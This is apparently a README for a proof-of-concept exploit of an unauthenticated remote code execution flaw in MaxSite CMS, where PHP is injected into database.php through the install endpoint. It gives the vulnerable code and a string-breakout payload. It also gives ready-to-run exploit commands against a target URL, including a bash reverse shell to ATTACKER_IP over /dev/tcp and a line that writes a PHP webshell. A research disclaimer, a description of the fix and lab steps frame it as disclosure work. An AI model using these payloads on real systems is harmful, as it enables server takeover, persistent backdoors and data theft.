
Proof-of-concept exploit for CVE-2026-70553, enabling unauthenticated RCE in MaxSite CMS via persistent PHP injection into database.php through the install endpoint.
Proof-of-Concept for CVE-2026-70553: Unauthenticated Remote Code Execution in MaxSite CMS via persistent PHP code injection into database.php through the install endpoint.
This PoC is for educational and authorized security research purposes only. The author is not responsible for any misuse or damage caused by this code. Only test against systems you own or have explicit written permission to test.
MaxSite CMS versions 105.2 through 109.5 contain a critical unauthenticated remote code execution vulnerability in the install endpoint. The db_dbprefix parameter is directly concatenated into PHP code without sanitization, allowing attackers to inject arbitrary PHP statements into application/config/database.php. Since this file is included on every request, the injected code achieves persistent RCE.
In install/installer/functions.php, the newDatabase() function constructs database.php content:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
By injecting a payload like:
db_dbprefix=mso_'; system('id'); //
The generated database.php becomes:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
This breaks out of the string literal and injects arbitrary PHP code.
The fix added a check to prevent re-installation:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
CRITICAL: This vulnerability has severe practical limitations in real-world scenarios.
/install/ directory not removed)newDatabase() function is only called if tables don't existinstall/installer/post.php via checkTableExists()newDatabase() never called/install/ is accessible, the code path to injection is blocked by table existence checkTo verify this vulnerability in a controlled environment:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
This project is released under the MIT License. See LICENSE for details.
Remember: Always practice responsible disclosure and obtain proper authorization before testing.